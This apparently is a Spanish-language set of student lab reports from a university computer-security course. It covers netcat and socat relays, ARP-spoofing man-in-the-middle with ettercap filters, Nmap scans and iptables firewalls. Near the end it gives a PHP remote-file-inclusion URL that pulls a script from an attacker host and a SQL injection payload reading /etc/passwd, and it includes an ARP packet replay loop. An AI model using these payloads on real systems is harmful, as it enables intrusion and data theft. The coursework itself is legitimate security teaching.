Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
Ejercicios Práctica # 1
Juan Camilo Correa Chica 1128270222
Profesor: David Mora Rodríguez
Ejercicio 1
http://bibliotecologia.udea.edu.co/elfaro/biblio/list.html
La primera línea usa el programa curl que transfiere el código fuente un sitio
web, con la tubería pasamos el código como argumento al programa grep con
las banderas para usar una expresión regular compuesta. La expresión regular
busca las sentencias que empiecen por “www.”, seguido de 1 a 25 caracteres y
finalizado en “.com”, esta sentencia busca los dominios .com que se
encuentren en dicho código fuente.
La segunda línea usa el grep para buscar las sentencias donde exista “http” lo
pasa por la tubería al programa awk para que imprima de la tercer palabra en
adelante luego se hace de nuevo grep para que refine la búsqueda de “http”, se
corta lo que haya entre las columnas 9 y 70 con el comando cut y finalmente se
corta de nuevo con cut para que corte lo que exista del carácter “<” en adelante
que corresponde la parte del código fuente </font…., esta línea busca los
enlaces a otros sitios que hay en la página.
La última línea de código busca las direcciones de correo que hay en el sitio
web, el comando grep –oE busca las coincidencias con la expresión regular
extendida, la expresión hace alusión a las sentencias que comiencen por
cualquier combinación de caracteres alfanuméricos sin distinguir entre
mayúsculas y minúsculas, y los símbolos “-“ y “_”, seguidos del símbolo “@”
este a su vez seguido por una combinación de caracteres alfanuméricos y el
símbolo “-“ y finalmente seguido por un punto y de 2 a 4 letras minúsculas que
corresponderían al dominio del correo electrónico.
Ejercicio 2
Utilice sus conocimientos para escribir un script en bash que intente localizar
utilizando un diccionario (puede utilizar este dns.txt) la mayor cantidad de
nombres para un dominio que se ingresa por la línea de comandos.
Esta línea de código lee las líneas de un archivo de texto y lo que hay en cada
línea lo concatena con .google.com y le hace un “host” que proporciona la
dirección ip del dominio si este existe, luego con grep buscamos solo las líneas
donde exista la palabra “adress” y con awk imprimimos solo la palabra donde
se encuentra la ip del dominio, en este caso era la cuarta palabra en orden por
cada línea y además se le agrega el símbolo “&” al final para que haga todas
las iteraciones en segundo plano y por ende lo haga en el menor tiempo
posible y no haya que esperar cada iteración individual del ciclo for.
Ejercicio 1
Reverse Shell
Bind Shell
Banner Grabber
Port Scanner
Redirección de puertos
2. En la máquina “B” que será la que interconecte a “A” con “C” se ejecuta el
comando: nc -lvvp 80 | nc -vv 192.168.1.3 (ip máquina “C” y puerto) -p 5555
La idea es conectar a “A” y “C” por el puerto 5555 con ayuda de “B”, el
problema es que el tráfico de “A” hacia “C” fluye sin problemas pero lo que
viene de “C” hacia “A” se queda estancado en “B”, una solución al problema
podría ser si se ejecuta el siguiente comando en “B” que a mi no me funciono
porque mi Netcat no tiene la opción -b: nc -lvvp 80 | nc -vv 192.168.1.3 -p 5555
| nc -lvv -b -p 80
Ejercicio 2
In the init phase, the command line options are parsed and logging is initialized.
During the open phase, socat opens the first address and afterwards the
second address. These steps are usually blocking; thus, especially for complex
address types like socks, connection requests or authentication dialogs must be
completed before the next step is started.
In the transfer phase, socat watches both streams' read and write file
descriptors via select() , and, when data is available on one side and can be
written to the other side, socat reads it, performs newline character conversions
if required, and writes the data to the write file descriptor of the other stream,
then continues waiting for more data in both directions.
When one of the streams effectively reaches EOF, the closing phase
begins. Socat transfers the EOF condition to the other stream, i.e. tries to
shutdown only its write stream, giving it a chance to terminate gracefully. For a
defined time socat continues to transfer data in the other direction, but then
closes all remaining channels and terminates.
Socat es una evolución de Netcat que soporta conexiones SSL, Proxy SOCKS,
etc. Por lo que la convierte en la herramienta ideal para establecer un túnel
cifrado temporal para comunicaciones que no lo soporten realmente.
Algunas implementaciones que pueden realizarse con Socat (info obtenida del
documento DEFEATING THE NETWORK SECURITY INFRASTRUCTURE de
RadarHack.com
Socat sirve principalmente para transferir datos entre dos canales de datos, por
ejemplo cualquier dato que Socat recibe por el puerto 6666 se le pasa nuestra
compañía por el puerto 80 y sirve tanto para HTTP como para SSH, TELNET,
FTP, etc…
Socat sirve para acceder a servicios SSL habilitados, y funciona también para
HTTPS, IMAPS, POPS, LDAPS, etc…
Ejercicio 3
SBD es descrito como un “Clon de Netcat” diseñado para ser portable y ofrecer
una fuerte encriptación. Soporta encriptación aes-128 y está disponible en la
mayoría de plataformas incluyendo Linux y Win32. Aunque el SBD es bastante
pobre en cuanto a utilidades respecto al Netcat tiene una gran ventaja ya que
gracias a su “build-in encryption” se pueden evitar muchos sistemas IDS/IPS,
aunque es preferible usarlo en puertos distintos a los “well-known”.
1. Conectarse a un servidor remoto: A continuación se describe la forma más
simple para establecer una conexión TCP con un servidor remoto, con “-c off”
se deshabilita el “default built-in encryption” del cliente sbd.
D:\sbd-1.27\binaries>sbd -c off www.radarhack.com 80
GET / HTTP/1.1
Date: Thu, 17 Jun 2004 18:38:03 GMT
Server: Apache/1.3.27 (Unix) mod_jk/1.2.0 Chili!Soft-ASP/3.6.2 mod_perl/1.26 mod
_throttle/3.1.2 PHP/4.3.1 FrontPage/4.0.4.3 mod_ssl/2.8.11 OpenSSL/0.9.6h
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
127
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
….
3. Reverse Shell
Ejercicio 1
Filtro IP any
Filtro ip source
Filtro ip dest
Filtro ip block
Filtro tcp
Bind Shell
Reverse Shell
Cree un filtro que solo capture peticiones HTTP GET, utilice a google para
dicha tarea.
Ejercicio 1
Con estos pasos el ataque de hombre en el medio será exitoso y usted podrá
usar un sniffer para ver todo el tráfico de la víctima.
00 25 64 D5 B7 07 00 25 64 D7 FD 5B 08 06 00 01 08 00 06 04 00 02 00 25 64 D7 FD 5B C0
A8 1E 33 00 25 64 D5 B7 07 C0 A8 1E 6D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
00 11 25 3F 11 F9 00 25 64 D7 FD 5B 08 06 00 01 08 00 06 04 00 02 00 25 64 D7 FD 5B C0
A8 1E 6D 00 11 25 3F 11 F9 C0 A8 1E 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
#!/bin/bash
while[1];do
sudo file2cable -i br0 -f arp1.cap
sudo file2cable -i br0 -f arp2.cap
sleep2
done
Para poder que la máquina atacante haga enrutamiento de paquetes y pueda
observar el tráfico que tiene como destino el host víctima se debe ingresar al
terminal como super usuario con el comando sudo su y ejecutar la siguiente
línea de comando:
Ejercicio 2
3. Clic en la pestaña ARP (icono de radiactivo), una vez allí clic en el signo "+",
en esta ventana al lado izquierdo seleccionamos el "target" y en la derecha el
router o servidor (Gateway).
Para ejecutarlo hay que estar como superusuario y con el comando ettercap –C
Este filtro discrimina lo que envía el Gateway a la víctima por protocolo (TCP),
puerto destino, el 80, y busca el dato que se quiere modificar, en este caso se
quiere que todo lo que diga Google sea cambiado por elgooG y que cuando lo
haga de un aviso en el prompt de ettercap.
Se guarda el filtro con un nombre, en este caso se llamo “filtrico”, y luego se
compila con la herramienta etterfilter que usa el ettercap para este tipo de
trabajo.
El archivo de salida filtro.ef es el filtro compilado y listo para ser usado con
ettercap
Ejercicio 1
Puede observarse como Nmap envía un segmento TCP con la bandera SYN
activa, la máquina responde por el puerto 80 con un ACK a la petición SYN y el
Nmap responde con RST finalizando la conexión.
Nmap envía el segmento TCP con SYN activado pero el puerto cerrado
responde con RST ACK indicándole a Nmap que no es posible un 3-way
handshake por ese puerto y de ahí Nmap determina que el puerto está cerrado.
Scanner TCP CONNECT (-sT): Nmap para esta exploración emplea el saludo
de 3 vías que la gran mayoría de aplicaciones de red implementan, sea un web
browser, un cliente Peer2Peer, etc.
Se observa como Nmap envía segmentos TCP con las banderas FIN, PSH y
URG activadas que no es un paquete común en la red y el puerto abierto
responde con el mismo segmento y como estamos explorando una máquina
basada en Unix nos indica que el puerto está abierto pero filtrado.
Scanner TCP Window (-sW): Es igual al scanner ACK pero en vez de mostrar
si el puerto está filtrado o no, muestra si está abierto o cerrado inspeccionando
el valor de la ventana que los sistemas envían incluso en las respuestas RST,
si la ventana es 0 el puerto está cerrado y si es positiva está abierto.
Resultado en el puerto 80 de la máquina
Scanner TCP Maimon (-sM): Es igual a una exploración FIN, NULL o Xmas,
exceptuando que manda un segmento FIN/ACK, la máquina objetivo debería
responder con un RST independientemente de si el puerto está abierto o no.
Resultado en el puerto 80 de la máquina
Scanner FIN (-sF): Es igual a las exploraciones NULL y Xmas pero solo envía
la bandera FIN del encabezado TCP, muestra el estado de los puertos y si
están filtrados o no, sirve para generar poco tráfico y no dejar registros en los
log de la máquina objetivo.
/* echo */
udp 7 -1 1 {
"we mean you no harm\n"
};
Hay que tener en cuenta que en escaneos UDP se manda el payload al puerto
especificado cuando se ejecuta el escaneo, pero en escaneos TCP es
necesario especificar el modo de escaneo sf (-msf) para que el rastreo de la
conexión se haga por fuera del kernel ya que de otro modo si por ejemplo se
manda una solicitud SYN desde una IP rastreada por el kernel y como
respuesta se recibe un SYN/ACK, entonces el kernel manda un RST y termina
la conexión, entonces es necesario usar una IP que no esté rastreada por el
kernel que se puede lograr con un programa llamado Fantaip que lo que hace
es tomar una tarjeta de red y una IP como argumentos y comienza a responder
a las ARP Request que tienen como destino la IP especificada. Un ejemplo de
su uso:
Para mandar una solicitud HTTP HEAD tenemos que copiar la siguiente
entrada en el archivo /etc/unicornscan/payloads.conf
tcp 80 -1 2 {
"HEAD / HTTP/1.0\r\n\r\n"
};
Ejercicio 1
Se llama INPUT
Se llama OUTPUT
El comando anterior intentará borrar una regla llamada “input”, el error es que si
se va a usar como cadena debe ser en mayúsculas “INPUT” de lo contrario si
la regla “input” no existe sale el siguiente mensaje de error: iptables: Bad rule
(does a matching rule exist in that chain?)
¿Con que parámetro de iptables borro todas las cadenas de una tabla?
iptables –t tabla –F
Ejercicio 2
En las primeras tres líneas se vacía o limpia el contenido de las tablas filter, nat
y mangle, en las líneas 4 a 11 se establecen las políticas por defecto de las
tablas filter, nat y mangle. En las tres líneas finales se borran las cadenas
establecidas por el usuario en filter, nat y mangle. Este script tiene apariencia
de ser utilizado para “resetear” el firewall cuando se activa.
Laboratorio de Seguridad Informática
Ejercicios Práctica # 7
Juan Camilo Correa Chica 1128270222
Profesor: David Mora Rodríguez
Ejercicio 1
(1) iptables -F
(2) iptables -X
(3) iptables -P INPUT DROP
(4) iptables -P OUTPUT ACCEPT
(5) iptables -P FORWARD DROP
(6) iptables -A INPUT -i lo -j ACCEPT
(7) iptables -A INPUT -m state --state ESTABLISHED, RELATED -j ACCEPT
La regla (1) limpia las reglas de la tabla filter y la regla (2) limpia las cadenas
definidas por el usuario.
2. Comentar qué se entiende por políticas por defecto y las que se establecen
en las reglas (3), (4) y (5).
a) Política por defecto ACEPTAR: en principio todo lo que entra y sale por el
firewall se acepta y solo se denegará lo que se diga explícitamente.
En la regla (3) la política por defecto que se establece para lo que entra del
exterior es “DENEGAR”, en la regla (4) la política por defecto para lo que sale
de la máquina al exterior es “ACEPTAR” y finalmente en la regla (5) se
establece la política por defecto “DENEGAR” a todo lo que cruce o sea
direccionado a través de las interfaces de la máquina.
La regla (7) permite conexiones hacia nuestra máquina en todas las interfaces,
conexiones cuyo estado se encuentre en ESTABLISHED o en RELATED, si la
eliminamos permitiremos que máquinas con las que no hemos establecido
conexiones puedan ejecutar conexiones (denominadas NEW), pings o port
scanners a nuestra máquina.
Ejercicio 2
(1) iptables -F
(2) iptables -X
(3) iptables -P INPUT DROP
(4) iptables -P OUTPUT DROP
(5) iptables -P FORWARD DROP
(6) iptables -A INPUT -i lo -j ACCEPT
(7) iptables -A OUTPUT -o lo -j ACCEPT
(8) iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
(9) iptables -A INPUT -p tcp --dport 80 -j ACCEPT
(10) iptables -A INPUT -p tcp --dport 22 -j ACCEPT
Preguntas:
1. ¿Cuál es la utilidad de la regla (8)?
La regla (9) permite el tráfico de entrada que tiene como destino el puerto TCP
80 que corresponde al servicio web o HTTP.
3. ¿Cuál es la utilidad de la regla (10)? ¿Qué servicio funciona a través suyo?
La regla (10) permite el tráfico de entrada con destino al puerto TCP 22 que
corresponde al servicio SSH (Secure Shell) que es un servicio similar a Telnet
pero que permite cifrar la información para hacerla ilegible a una tercera
persona que interrumpa la conexión.
No, este cortafuegos no permite el uso de HTTPS ya que no hay una regla
establecida y la política por defecto es para denegar cualquier conexión cuya
regla de aceptación no esté especificada. Para permitir HTTPS es necesario
incluir la siguiente regla:
7. Añadir una regla que permita que esta máquina reciba y responda a
peticiones ping, pero que no lo haga vulnerable a ataques de inundación
(flood).
Con esta regla se restringen los paquetes ping a uno por segundo, ósea que
como máximo en un día se reciben 86000 pings, el servicio ping sigue vigente
pero está fuera del alcance de una inundación de pings.
8. Después de añadir o modificar las reglas tal como se pide en los apartados
anteriores, y suponiendo que todos los servicios permitidos están activos,
mostrar de forma aproximada el resultado de realizar una exploración mediante
Nmap de los puertos TCP de esta máquina desde otra máquina.
Ejercicio 3
(1) iptables -F
(2) iptables -X
(3) iptables -P INPUT DROP
(4) iptables -P OUTPUT DROP
(5) iptables -P FORWARD DROP
(6) iptables -A INPUT -i lo -j ACCEPT
(7) iptables -A OUTPUT -o lo -j ACCEPT
(8) iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j
ACCEPT
(9) iptables -A FORWARD -i eth0 -p tcp --dport 80 -j ACCEPT
(10) iptables -A FORWARD -i eth0 -d 155.3.19.15 -p udp --dport 53 -j ACCEPT
Preguntas:
4. Escribir una/s regla/s que permita/n que nuestro servidor web ofrezca el
servicio UDP CHARGEN al resto de Internet pero que no sea vulnerable al
ataque Snork.
cd /etc/xinetd.d
service echo
{
type = INTERNAL UNLISTED
id = echo-dgram
socket_type = dgram
protocol = udp
user = root
wait = yes
disable = no
port =7
FLAGS = IPv6 IPv4
}
La máquina vícitima tiene como IP 192.168.30.106, en esta debemos habilitar
el servicio CHARGEN por el puerto UDP 19, en Ubuntu se hace de la siguiente
manera
service chargen
{
type = INTERNAL UNLISTED
id = echo-dgram
socket_type = dgram
protocol = udp
user = root
wait = yes
disable = no
port = 19
FLAGS = IPv6 IPv4
}
En la máquina Lanzadera
Ejecutando tcpdump –i eth0 „(host 192.168.30.105 and udp) en la máquina
víctima
Existen varias formas para que por medio de una vulnerabilidad en el servidor
web las estaciones sean atacadas, se mencionaran algunas:
Por ejemplo si en las páginas alojadas por nuestro servidor web hay
fragmentos de código similar al siguiente:
<?php
$pagina = $_GET [„pagina‟];
include $pagina;
?>
http://nuestroservidor.com/nuestro.php?pagina=http://hackermalo.com/scriptdehackermalo.sh%00
SQL Injection
Por ejemplo si en las páginas alojadas por nuestro servidor hay fragmentos de
código similar al siguiente:
<?php
$id = $_GET [„id‟];
$result = mysql_query (“SELECT name FROM members WHERE id = „$id‟”);
?>
http://nuestroservidor.com/nuestro.php?id=1+union+all+select+1,null,load_file(„etc/passwd‟),4--
Para evitar ataques desde internet o redes externas se sugiere una arquitectura
de Screened Subnet o DMZ (Demilitarized Zone), esto con el objeto de que se
implementen los siguientes escenarios:
La primera parte de la práctica (para los duros de corazón) era entrar en el sitio
web del curso y dar clic en los interrogantes (????).
Según algunos documentos que había leído en la red se me ocurrió que podría
tratarse de un caso sencillo de esteganografia, para corroborarlo le di clic
derecho a la imagen para descargarla y efectivamente mi duda quedo
solucionada pues esta pequeña imagen en escala de grises tenía un peso
aproximado de 8,1M lo cual es bastante sospechoso ya que la imagen no
debería pesar tanto, cuando mucho algunos miles de Kbytes.
Una vez más acudí a la información en la red y aprendí que estos caracteres
corresponden a un esquema de codificación llamado Base64 y que existían
algunas herramientas para decodificarlo, de las muchas que vi una en especial
fue la que más me llamo la atención y que por cierto utilice para decodificar el
código en Base64, es un script hecho en Python que recibe como argumentos
el archivo de texto donde está escrito el código y como segundo argumento el
nombre de archivo y la ruta donde se quiere almacenar lo que resulte del
proceso de decodificación.
if len(sys.argv) < 3:
print """Usage: %s in_b64_enc_file out_dec_file
if len(sys.argv) < 3:
print """Usage: %s in_b64_enc_file out_dec_file
open("/home/camilo/Escritorio/decodificado",
wb').write(base64.decodestring('\n'.join(open("/home/camilo/Escritorio/code.txt",
'rb').readlines())))
buffer =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5A
e6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag
9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2
Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5A
l6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An
9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2
Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5A
s6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au
9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2
Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5A
z6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb
9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2
Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5B
g6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi
9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2
Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5B
n6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp
9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2
Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5B
u6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw
9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2
Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5C
b6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd
9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2
Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5C
i6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck
9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2
Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5C
p6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr
9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2
Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5C
w6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy
9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2
Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5D
d6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df
9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2
Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5D
k6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm
9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2
Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5D
r6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt
9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2
Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5D
y6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea
9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2
Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5E
f6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh
9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2
Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5E
m6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo
9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2
Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5E
t6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev
9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2
Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5F
a6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc
9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2
Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5F
h6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj
9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2
Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5F
o6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq
9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2
Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5F
v6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx
9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2
Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5G
c6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge
9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2
Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5G
j6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl
9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2
Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5G
q6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs
9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2
